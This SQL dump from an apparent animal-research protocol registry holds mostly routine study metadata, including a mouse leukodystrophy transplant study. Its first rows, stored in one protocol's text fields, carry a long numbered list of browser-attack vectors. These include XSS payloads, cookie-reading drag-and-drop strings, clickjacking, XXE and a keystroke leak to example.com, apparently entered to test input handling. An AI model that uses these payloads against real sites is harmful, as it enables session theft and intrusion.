color\\\\3Ared\\\\3B\'&quot;&gt;X&lt;\\/div&gt;&lt;\\/div&gt; with(document.getElementById(&quot;d&quot;))innerHTML=innerHTML\\n70.\\tXXX&lt;style&gt; *{color:gre\\/**\\/en !\\/**\\/important} \\/* IE 6-9 Standards mode *\\/ &lt;!-- --&gt;&lt;!--*{color:red} \\/* all UA *\\/ *{background:url(xx:x \\/\\/**\\/\\\\red\\/*)} \\/* IE 6-7 Standards mode *\\/ &lt;\\/style&gt;\\n71.\\t&lt;div style=&quot;background:url(\\/f#[a]oo\\/;color:red\\/*\\/foo.jpg);&quot;&gt;X&lt;\\/div&gt;\\n72.\\t&lt;div style=&quot;font-family:foo{bar;background:url(http:\\/\\/foo.f\\/oo};color:red\\/*\\/foo.jpg);&quot;&gt;X&lt;\\/div&gt;\\n73.\\t&lt;div id=&quot;x&quot;&gt;XXX&lt;\\/div&gt; &lt;style&gt; #x{font-family:foo[bar;color:green;} #y];color:red;{} &lt;\\/style&gt;\\n74.\\t&lt;x style=&quot;background:url(\'x[a];color:red;\\/*\')&quot;&gt;XXX&lt;\\/x&gt;\\n75.\\t({set\\/**\\/$($){_\\/**\\/setter=$,_=1}}).$=alert\\n76.\\t({0:#0=alert\\/#0#\\/#0#(0)})\\n77.\\tReferenceError.prototype.__defineGetter__(\'name\', function(){alert(1)}),x\\n78.\\tObject.__noSuchMethod__ = Function,[{}][0].constructor._(\'alert(1)\')()\\n79.\\thistory.pushState(0,0,\'\\/i\\/am\\/somewhere_else\');\\n80.\\t alert`1`; var something = `abc${alert(1)}def`; ``.constructor.constructor`alert\\\\`1\\\\````; \\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8739,232,'research_field','\"81.\\t src=&quot;#&quot;&gt;{alert(1)};1\\n82.\\t+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-\\/div+AD4APA-\\/body+AD4APA-\\/html+AD4-.toXMLString().match(\\/.*\\/m),alert(RegExp.input);\\n83.\\t&lt;b&gt;&lt;b&gt;&lt;\\/b&gt;&lt;alert(1) &lt;\\/b&gt;&lt;\\/b&gt;\\n84.\\t&lt;{alert(1)}\\/&gt; &lt;\\/&gt;\\n85.\\t0?Worker(&quot;#&quot;).onmessage=function(_)eval(_.data) :postMessage(importScripts(\'data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk\'))\\n86.\\tcrypto.generateCRMFRequest(\'CN=0\',0,0,null,\'alert(1)\',384,null,\'rsa-dual-use\')\\n87.\\t[{\'a\':Object.prototype.__defineSetter__(\'b\',function(){alert(arguments[0])}),\'b\':[\'secret\']}]\\n88.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt;&lt;g onload=&quot;javascript:alert(1)&quot;&gt;&lt;\\/g&gt;&lt;\\/svg&gt;\\n89.\\t&lt;?xml version=&quot;1.0&quot; standalone=&quot;no&quot;?&gt; &lt;html xmlns=&quot;http:\\/\\/www.w3.org\\/1999\\/xhtml&quot;&gt; &lt;head&gt; &lt;style type=&quot;text\\/css&quot;&gt; @font-face {font-family: y; src: url(&quot;font.svg#x&quot;) format(&quot;svg&quot;);} body {font: 100px &quot;y&quot;;} &lt;\\/style&gt; &lt;\\/head&gt; &lt;body&gt;Hello&lt;\\/body&gt; &lt;\\/html&gt;\\n90.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt;alert(1)&lt;\\/svg&gt;\\n91.\\t&lt;svg onload=&quot;javascript:alert(1)&quot; xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt;&lt;\\/svg&gt;\\n92.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt; &lt;a xmlns:xlink=&quot;http:\\/\\/www.w3.org\\/1999\\/xlink&quot; xlink:href=&quot;javascript:alert(1)&quot;&gt;&lt;rect width=&quot;1000&quot; height=&quot;1000&quot; fill=&quot;white&quot;\\/&gt;&lt;\\/a&gt; &lt;\\/svg&gt;\\n93.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot; xmlns:xlink=&quot;http:\\/\\/www.w3.org\\/1999\\/xlink&quot;&gt; &lt;animation xlink:href=&quot;javascript:alert(1)&quot;\\/&gt; &lt;animation xlink:href=&quot;data:text\\/xml,%3Csvg xmlns=\'http:\\/\\/www.w3.org\\/2000\\/svg\' onload=\'alert(1)\'%3E%3C\\/svg%3E&quot;\\/&gt; &lt;image xlink:href=&quot;data:image\\/svg+xml,%3Csvg xmlns=\'http:\\/\\/www.w3.org\\/2000\\/svg\' onload=\'alert(1)\'%3E%3C\\/svg%3E&quot;\\/&gt; &lt;foreignObject xlink:href=&quot;javascript:alert(1)&quot;\\/&gt; &lt;foreignObject xlink:href=&quot;data:text\\/xml,%3Cscript xmlns=\'http:\\/\\/www.w3.org\\/1999\\/xhtml\'%3Ealert(1)%3C\\/script%3E&quot;\\/&gt; &lt;\\/svg&gt;\\n94.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt; &lt;set attributeName=&quot;onmouseover&quot; to=&quot;alert(1)&quot;\\/&gt; &lt;animate attributeName=&quot;onunload&quot; to=&quot;alert(1)&quot;\\/&gt; &lt;\\/svg&gt;\\n95.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt; &lt;handler xmlns:ev=&quot;http:\\/\\/www.w3.org\\/2001\\/xml-events&quot; ev:event=&quot;load&quot;&gt;alert(1)&lt;\\/handler&gt; &lt;\\/svg&gt;\\n96.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot; xmlns:xlink=&quot;http:\\/\\/www.w3.org\\/1999\\/xlink&quot;&gt; &lt;feImage&gt; &lt;set attributeName=&quot;xlink:href&quot; to=&quot;data:image\\/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D&quot;\\/&gt; &lt;\\/feImage&gt; &lt;\\/svg&gt;\\n97.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot; id=&quot;foo&quot;&gt; &lt;x xmlns=&quot;http:\\/\\/www.w3.org\\/2001\\/xml-events&quot; event=&quot;load&quot; observer=&quot;foo&quot; handler=&quot;data:image\\/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar&quot;\\/&gt; &lt;\\/svg&gt;\\n98.\\t&lt;iframe src=&quot;data:image\\/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03&quot;&gt;&lt;\\/iframe&gt;\\n99.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt; &lt;a id=&quot;x&quot;&gt;&lt;rect fill=&quot;white&quot; width=&quot;1000&quot; height=&quot;1000&quot;\\/&gt;&lt;\\/a&gt; &lt;rect fill=&quot;white&quot; style=&quot;clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);&quot;\\/&gt; &lt;\\/svg&gt;\\n100.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt; &lt;path d=&quot;M0,0&quot; style=&quot;marker-start:url(test4.svg#a)&quot;\\/&gt; &lt;\\/svg&gt;\\n101.\\t&lt;?xml version=&quot;1.0&quot;?&gt; &lt;?xml-stylesheet type=&quot;text\\/xml&quot; href=&quot;#stylesheet&quot;?&gt; &lt;!DOCTYPE doc [ &lt;!ATTLIST xsl:stylesheet id ID #REQUIRED&gt;]&gt; &lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt; &lt;xsl:stylesheet id=&quot;stylesheet&quot; version=&quot;1.0&quot; xmlns:xsl=&quot;http:\\/\\/www.w3.org\\/1999\\/XSL\\/Transform&quot;&gt; &lt;xsl:template match=&quot;\\/&quot;&gt; &lt;iframe xmlns=&quot;http:\\/\\/www.w3.org\\/1999\\/xhtml&quot; src=&quot;javascript:alert(1)&quot;&gt;&lt;\\/iframe&gt; &lt;\\/xsl:template&gt; &lt;\\/xsl:stylesheet&gt; &lt;circle fill=&quot;red&quot; r=&quot;40&quot;&gt;&lt;\\/circle&gt; &lt;\\/svg&gt;\\n102.\\t&lt;svg xmlns=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot; id=&quot;x&quot;&gt; &lt;listener event=&quot;load&quot; handler=&quot;#y&quot; xmlns=&quot;http:\\/\\/www.w3.org\\/2001\\/xml-events&quot; observer=&quot;x&quot;\\/&gt; &lt;handler id=&quot;y&quot;&gt;alert(1)&lt;\\/handler&gt; &lt;\\/svg&gt;\\n103.\\t&lt;svg&gt;&lt;style&gt;&amp;lt;img\\/src=x onerror=alert(1)\\/\\/ &lt;\\/b&gt;\\n104.\\t&lt;svg&gt; &lt;image style=\'filter:url(&quot;data:image\\/svg+xml,&lt;svg xmlns=%22http:\\/\\/www.w3.org\\/2000\\/svg%22&gt;parent.alert(1)&lt;\\/svg&gt;&quot;)\'&gt; &lt;!-- Same effect with &lt;image filter=\'...\'&gt; --&gt; &lt;\\/svg&gt;\\n105.\\t&lt;!doctype html&gt; &lt;form&gt; &lt;label&gt;type a,b,c,d - watch the network tab\\/traffic (JS is off, latest NoScript)&lt;\\/label&gt; &lt;br&gt; &lt;input name=&quot;secret&quot; type=&quot;password&quot;&gt; &lt;\\/form&gt; &lt;!-- injection --&gt;&lt;svg height=&quot;50px&quot;&gt; &lt;image xmlns:xlink=&quot;http:\\/\\/www.w3.org\\/1999\\/xlink&quot;&gt; &lt;set attributeName=&quot;xlink:href&quot; begin=&quot;accessKey(a)&quot; to=&quot;\\/\\/example.com\\/?a&quot; \\/&gt; &lt;set attributeName=&quot;xlink:href&quot; begin=&quot;accessKey(b)&quot; to=&quot;\\/\\/example.com\\/?b&quot; \\/&gt; &lt;set attributeName=&quot;xlink:href&quot; begin=&quot;accessKey(c)&quot; to=&quot;\\/\\/example.com\\/?c&quot; \\/&gt; &lt;set attributeName=&quot;xlink:href&quot; begin=&quot;accessKey(d)&quot; to=&quot;\\/\\/example.com\\/?d&quot; \\/&gt; &lt;\\/image&gt; &lt;\\/svg&gt;\\n106.\\t&lt;svg&gt; &lt;a xmlns:xlink=&quot;http:\\/\\/www.w3.org\\/1999\\/xlink&quot; xlink:href=&quot;?&quot;&gt; &lt;circle r=&quot;400&quot;&gt;&lt;\\/circle&gt; &lt;animate attributeName=&quot;xlink:href&quot; begin=&quot;0&quot; from=&quot;javascript:alert(1)&quot; to=&quot;&amp;&quot; \\/&gt; &lt;\\/a&gt;\\n107.\\t&lt;svg&gt; alert&amp;DiacriticalGrave;1&amp;DiacriticalGrave; &lt;p&gt; &lt;svg&gt; alert&amp;grave;1&amp;grave; &lt;p&gt;\\n108.\\t&lt;?xml-stylesheet href=&quot;javascript:alert(1)&quot;?&gt;&lt;root\\/&gt;\\n109.\\t xmlns=&quot;http:\\/\\/www.w3.org\\/1999\\/xhtml&quot;&gt;&amp;#x61;l&amp;#x65;rt&amp;#40;1)\\n110.\\t&lt;!DOCTYPE x[&lt;!ENTITY x SYSTEM &quot;http:\\/\\/html5sec.org\\/test.xxe&quot;&gt;]&gt;&lt;y&gt;&amp;x;&lt;\\/y&gt;\\n111.\\t&lt;?xml version=&quot;1.0&quot;?&gt; &lt;?xml-stylesheet type=&quot;text\\/xsl&quot; href=&quot;data:,%3Cxsl:transform version=\'1.0\' xmlns:xsl=\'http:\\/\\/www.w3.org\\/1999\\/XSL\\/Transform\' id=\'xss\'%3E%3Cxsl:output method=\'html\'\\/%3E%3Cxsl:template match=\'\\/\'%3E%3Cscript%3Ealert(1)%3C\\/script%3E%3C\\/xsl:template%3E%3C\\/xsl:transform%3E&quot;?&gt; &lt;root\\/&gt;\\n112.\\t&lt;!DOCTYPE x [ &lt;!ATTLIST img xmlns CDATA &quot;http:\\/\\/www.w3.org\\/1999\\/xhtml&quot; src CDATA &quot;xx:x&quot; onerror CDATA &quot;alert(1)&quot; onload CDATA &quot;alert(2)&quot;&gt; ]&gt;&lt;img \\/&gt;\\n113.\\t&lt;doc xmlns:xlink=&quot;http:\\/\\/www.w3.org\\/1999\\/xlink&quot; xmlns:html=&quot;http:\\/\\/www.w3.org\\/1999\\/xhtml&quot;&gt; &lt;html:style \\/&gt;&lt;x xlink:href=&quot;javascript:alert(1)&quot; xlink:type=&quot;simple&quot;&gt;XXX&lt;\\/x&gt; &lt;\\/doc&gt;\\n114.\\t&lt;card xmlns=&quot;http:\\/\\/www.wapforum.org\\/2001\\/wml&quot;&gt;&lt;onevent type=&quot;ontimer&quot;&gt;&lt;go href=&quot;javascript:alert(1)&quot;\\/&gt;&lt;\\/onevent&gt;&lt;timer value=&quot;1&quot;\\/&gt;&lt;\\/card&gt;\\n115.\\t&lt;?xml-stylesheet type=&quot;text\\/css&quot;?&gt;&lt;!DOCTYPE x SYSTEM &quot;test.dtd&quot;&gt;&lt;x&gt;&amp;x;&lt;\\/x&gt;\\n116.\\t&lt;?xml-stylesheet type=&quot;text\\/css&quot;?&gt;&lt;root style=&quot;x:expression(write(1))&quot;\\/&gt;\\n117.\\t&lt;?xml-stylesheet type=&quot;text\\/xsl&quot; href=&quot;#&quot;?&gt;&lt;img xmlns=&quot;x-schema:test.xdr&quot;\\/&gt;\\n118.\\t&lt;x xmlns:xlink=&quot;http:\\/\\/www.w3.org\\/1999\\/xlink&quot; xlink:actuate=&quot;onLoad&quot; xlink:href=&quot;javascript:alert(1)&quot; xlink:type=&quot;simple&quot;\\/&gt;\\n119.\\t&lt;?xml-stylesheet type=&quot;text\\/css&quot; href=&quot;data:,*%7bx:expression(write(2));%7d&quot;?&gt;\\n120.\\t&lt;x:template xmlns:x=&quot;http:\\/\\/www.wapforum.org\\/2001\\/wml&quot; x:ontimer=&quot;$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)&quot;&gt;&lt;x:timer value=&quot;1&quot;\\/&gt;&lt;\\/x:template&gt;\\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8740,232,'hypothesis','\"121.\\t&lt;x xmlns:ev=&quot;http:\\/\\/www.w3.org\\/2001\\/xml-events&quot; ev:event=&quot;load&quot; ev:handler=&quot;javascript:alert(1)\\/\\/#x&quot;\\/&gt;\\n122.\\t&lt;x xmlns:ev=&quot;http:\\/\\/www.w3.org\\/2001\\/xml-events&quot; ev:event=&quot;load&quot; ev:handler=&quot;test.evt#x&quot;\\/&gt;\\n123.\\t&lt;?xml-stylesheet type=&quot;text\\/xsl&quot; href=&quot;#&quot; ?&gt; &lt;stylesheet xmlns=&quot;http:\\/\\/www.w3.org\\/TR\\/WD-xsl&quot;&gt; &lt;template match=&quot;\\/&quot;&gt; &lt;eval&gt;new ActiveXObject(&amp;apos;htmlfile&amp;apos;).parentWindow.alert(1)&lt;\\/eval&gt; &lt;if expr=&quot;new ActiveXObject(\'htmlfile\').parentWindow.alert(2)&quot;&gt;&lt;\\/if&gt; &lt;\\/template&gt; &lt;\\/stylesheet&gt;\\n124.\\t&lt;meta charset=&quot;x-imap4-modified-utf7&quot;&gt;&amp;ADz&amp;AGn&amp;AG0&amp;AEf&amp;ACA&amp;AHM&amp;AHI&amp;AGO&amp;AD0&amp;AGn&amp;ACA&amp;AG8Abg&amp;AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&amp;ACAAPABi\\n125.\\t&lt;meta charset=&quot;x-imap4-modified-utf7&quot;&gt;&amp;&amp;S1&amp;TS&amp;1&gt;alert&amp;A7&amp;(1)&amp;R&amp;UA;&amp;&amp;&lt;&amp;A9&amp;11\\/script&amp;X&amp;&gt;\\n126.\\t&lt;meta charset=&quot;x-mac-farsi&quot;&gt;\\u00bcscript \\u00bealert(1)\\/\\/\\u00bc\\/script \\u00be\\n127.\\t&lt;x repeat=&quot;template&quot; repeat-start=&quot;999999&quot;&gt;0&lt;y repeat=&quot;template&quot; repeat-start=&quot;999999&quot;&gt;1&lt;\\/y&gt;&lt;\\/x&gt;\\n128.\\t&lt;input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!&gt;\\n129.\\t&lt;input onblur=focus() autofocus&gt;&lt;input&gt;\\n130.\\tX&lt;x style=`behavior:url(#default#time2)` onbegin=`write(1)` &gt;\\n131.\\t1&lt;set\\/xmlns=`urn:schemas-microsoft-com:time` style=`beh&amp;#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&amp;lt;img\\/src=&amp;quot;x&amp;quot;onerror=alert(1)&amp;gt;`&gt;\\n132.\\t1&lt;animate\\/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&amp;lt;img\\/src=&amp;quot;.&amp;quot;onerror=alert(1)&amp;gt;&gt;\\n133.\\t1&lt;vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss&gt;&lt;\\/vmlframe&gt;\\n134.\\t1&lt;a href=#&gt;&lt;line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 \\/&gt;&lt;\\/a&gt;\\n135.\\t&lt;a style=&quot;behavior:url(#default#AnchorClick);&quot; folder=&quot;javascript:alert(1)&quot;&gt;XXX&lt;\\/a&gt;\\n136.\\t&lt;x style=&quot;behavior:url(test.sct)&quot;&gt;\\n137.\\t&lt;xml id=&quot;xss&quot; src=&quot;test.htc&quot;&gt;&lt;\\/xml&gt; &lt;label dataformatas=&quot;html&quot; datasrc=&quot;#xss&quot; datafld=&quot;payload&quot;&gt;&lt;\\/label&gt;\\n138.\\t&lt;event-source src=&quot;event.php&quot; onload=&quot;alert(1)&quot;&gt;\\n139.\\t&lt;a href=&quot;javascript:alert(1)&quot;&gt;&lt;event-source src=&quot;data:application\\/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A&quot; \\/&gt;&lt;\\/a&gt;\\n140.\\t&lt;div id=&quot;x&quot;&gt;x&lt;\\/div&gt; &lt;xml:namespace prefix=&quot;t&quot;&gt; &lt;import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt; &lt;t:set attributeName=&quot;innerHTML&quot; targetElement=&quot;x&quot; to=&quot;&amp;lt;img&amp;#11;src=x:x&amp;#11;onerror&amp;#11;=alert(1)&amp;gt;&quot;&gt;\\n141.\\t&lt;a href=&quot;http:\\/\\/attacker.org&quot;&gt; &lt;iframe src=&quot;http:\\/\\/example.org\\/&quot;&gt;&lt;\\/iframe&gt; &lt;\\/a&gt;\\n142.\\t&lt;div draggable=&quot;true&quot; ondragstart=&quot;event.dataTransfer.setData(\'text\\/plain\',\'malicious code\');&quot;&gt; &lt;h1&gt;Drop me&lt;\\/h1&gt; &lt;\\/div&gt; &lt;iframe src=&quot;http:\\/\\/www.example.org\\/dropHere.html&quot;&gt;&lt;\\/iframe&gt;\\n143.\\t&lt;iframe src=&quot;view-source:http:\\/\\/www.example.org\\/&quot; frameborder=&quot;0&quot; style=&quot;width:400px;height:180px&quot;&gt;&lt;\\/iframe&gt; &lt;textarea type=&quot;text&quot; cols=&quot;50&quot; rows=&quot;10&quot;&gt;&lt;\\/textarea&gt;\\n144.\\t function makePopups(){ for (i=1;i&lt;6;i++) { window.open(\'popup.html\',\'spam\'+i,\'width=50,height=50\'); } }  &lt;body&gt; &lt;a href=&quot;#&quot; onclick=&quot;makePopups()&quot;&gt;Spam&lt;\\/a&gt;\\n145.\\t&lt;html xmlns=&quot;http:\\/\\/www.w3.org\\/1999\\/xhtml&quot; xmlns:svg=&quot;http:\\/\\/www.w3.org\\/2000\\/svg&quot;&gt; &lt;body style=&quot;background:gray&quot;&gt; &lt;iframe src=&quot;http:\\/\\/example.com\\/&quot; style=&quot;width:800px; height:350px; border:none; mask: url(#maskForClickjacking);&quot;\\/&gt; &lt;svg:svg&gt; &lt;svg:mask id=&quot;maskForClickjacking&quot; maskUnits=&quot;objectBoundingBox&quot; maskContentUnits=&quot;objectBoundingBox&quot;&gt; &lt;svg:rect x=&quot;0.0&quot; y=&quot;0.0&quot; width=&quot;0.373&quot; height=&quot;0.3&quot; fill=&quot;white&quot;\\/&gt; &lt;svg:circle cx=&quot;0.45&quot; cy=&quot;0.7&quot; r=&quot;0.075&quot; fill=&quot;white&quot;\\/&gt; &lt;\\/svg:mask&gt; &lt;\\/svg:svg&gt; &lt;\\/body&gt; &lt;\\/html&gt;\\n146.\\t&lt;iframe sandbox=&quot;allow-same-origin allow-forms allow-scripts&quot; src=&quot;http:\\/\\/example.org\\/&quot;&gt;&lt;\\/iframe&gt;\\n147.\\t&lt;span class=foo&gt;Some text&lt;\\/span&gt; &lt;a class=bar href=&quot;http:\\/\\/www.example.org&quot;&gt;www.example.org&lt;\\/a&gt;  src=&quot;http:\\/\\/code.jquery.com\\/jquery-1.4.4.js&quot;&gt;  $(&quot;span.foo&quot;).click(function() { alert(\'foo\'); $(&quot;a.bar&quot;).click(); }); $(&quot;a.bar&quot;).click(function() { alert(\'bar\'); location=&quot;http:\\/\\/html5sec.org&quot;; }); \\n148.\\t&lt;b&gt;drag and drop one of the following strings to the drop box:&lt;\\/b&gt; &lt;br\\/&gt;&lt;hr\\/&gt; jAvascript:alert(\'Top Page Location: \'+document.location+\' Host Page Cookies: \'+document.cookie);\\/\\/ &lt;br\\/&gt;&lt;hr\\/&gt; feed:javascript:alert(\'Top Page Location: \'+document.location+\' Host Page Cookies: \'+document.cookie);\\/\\/ &lt;br\\/&gt;&lt;hr\\/&gt; feed:data:text\\/html,&amp;#x3c;script&gt;alert(\'Top Page Location: \'+document.location+\' Host Page Cookies: \'+document.cookie)&amp;#x3c;\\/script&gt;&amp;#x3c;b&gt; &lt;br\\/&gt;&lt;hr\\/&gt; feed:feed:javAscript:javAscript:feed:alert(\'Top Page Location: \'+document.location+\' Host Page Cookies: \'+document.cookie);\\/\\/ &lt;br\\/&gt;&lt;hr\\/&gt; &lt;div id=&quot;dropbox&quot; style=&quot;height: 360px;width: 500px;border: 5px solid #000;position: relative;&quot; ondragover=&quot;event.preventDefault()&quot;&gt;+ Drop Box +&lt;\\/div&gt;\\n\\n\\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8741,190,'sample_size_calculation_details','\"As it will be an animal model based study, so no assumptions for the sample size calculation were made. \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8742,190,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8743,190,'yes_blinded_assessment_partially_details','\"The outcome assessor will be different individual who would be unaware of the group allocation and intervention.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8744,142,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8745,142,'yes_blinded_assessment_partially_details','\"An assessor will not be aware of treatment allocation. The front leg of a patient will be bandaged to cover the clipping mark. A clipping mark is a result of an iv catheter placement,  knowledge of it could unmask group allocation\"','2022-03-31 13:23:57','2022-03-31 13:23:57');

INSERT INTO `details` (`id`, `protocol_id`, `key`, `value`, `created_at`, `updated_at`)
VALUES
	(8746,148,'investigators_blinded_assessment','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8747,233,'title','\"Exploring neuron-glia interactions in leukodystrophies using human iPSC-based models: implication for therapy\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8748,233,'short_title','\"NG4Leuko\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8749,233,'contact_name','\"Maria Cecilia Angulo\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8750,233,'contact_role','\"research group supervisor\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8751,233,'contact_email','\"maria-cecilia.angulo@parisdescartes.fr\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8752,233,'study_centre','[{\"name\":\"INSERM U1266\",\"city\":\"Paris\",\"country\":\"FR\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8753,233,'financial_support','[\"grants\"]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8754,233,'start_date','\"2020-01-01\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8755,233,'end_date','\"2022-12-31\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8756,233,'study_status','\"active\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8757,233,'research_field','\"neuroscience\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8758,233,'hypothesis','\"role of neuronal activity in oligodendroglia fate in vivo\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8759,233,'intervention_type','\"surgery\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8760,233,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8761,233,'secondary_readout_parameter','\"To determine the effect of network activity on the fate of hIPSC-derived oligodendroglia from leukodostrophy patients\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8762,233,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8763,233,'species','\"mouse\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8764,233,'strain','\"Thy1-ChR2-YFP;Shiv\\/Shiv;Rag2-\\/-\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8765,233,'sex','\"both\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8766,233,'sample_size_calculation','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8767,233,'sample_size_calculation_details','\"Samples sizes were chosen based on available information on variability from our previous study on transplanted human IPSC-derived OPCs in mice (Mozafari et al., 2020, Sci Adv,6(49):eabc6983). Nevertheless, sample size will be refined with G-Power software using preliminary data and adjusted if necessary. \"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8768,233,'sum_of_animals','\"360\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8769,233,'randomisation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8770,233,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8771,233,'investigators_blinded_assessment','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8772,233,'placebo_controlled','\"not applicable\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8773,233,'primary_readout_parameter','\"We will assessed proliferation and differentiation of hIPSC-derived oligodendroglia transplanted in the mouse brain\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8774,233,'application_number','\"APAFIS#27997-2020101615489005 v5\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8775,233,'link_to_data','\"N\\/A\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8776,233,'has_embargo','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8777,233,'experimental_design','\"we will perform in vivo experiments in which hiPSC-derived OPCs will be transplanted in the mouse white matter and host neuronal networks will be activated using optogenetics.  We will generate a triple transgenic Thy1-ChR2-YFP;Shiv\\/Shiv;Rag2-\\/- mouse. In Thy1-ChR2-YFP mice, the light-activated channel channelrhodopsin-2 (ChR2) is expressed in cortical layer V pyramidal neurons whose myelinated axons traverse the corpus callosum and can be activated by blue light, enhancing network activity. In addition, shiverer (Shiv) mice crossed to Rag2 null immunodeficient mice generate a line of Shiv\\/Shiv;Rag2-\\/- dysmyelinating-immunodeficient mice to allow detection of donor-derived normal myelin and prevent rejection of the grafted human cells. \"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8778,233,'randomisation_method_used','\"other\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8779,233,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8780,233,'study_arms','[{\"type\":\"control\",\"number\":\"45\",\"intervention\":\"normal hIPSC-derived oligodendroglia (cell line 1); mice stimulated (three time points)\"},{\"type\":\"control\",\"number\":\"45\",\"intervention\":\"normal hIPSC-derived oligodendroglia (cell line 2); mice stimulated (three time points)\"},{\"type\":\"control\",\"number\":\"45\",\"intervention\":\"normal hIPSC-derived oligodendroglia (cell line 1); mice non-stimulated (three time points)\"},{\"type\":\"control\",\"number\":\"45\",\"intervention\":\"normal hIPSC-derived oligodendroglia (cell line 2); mice non-stimulated (three time points)\"},{\"type\":\"intervention\",\"number\":\"45\",\"intervention\":\"patients hIPSC-derived oligodendroglia (cell line 1); mice stimulated\"},{\"type\":\"intervention\",\"number\":\"45\",\"intervention\":\"patients hIPSC-derived oligodendroglia (cell line 2); mice stimulated\"},{\"type\":\"intervention\",\"number\":\"45\",\"intervention\":\"patients hIPSC-derived oligodendroglia (cell line 1); mice non-stimulated\"},{\"type\":\"intervention\",\"number\":\"45\",\"intervention\":\"patients hIPSC-derived oligodendroglia 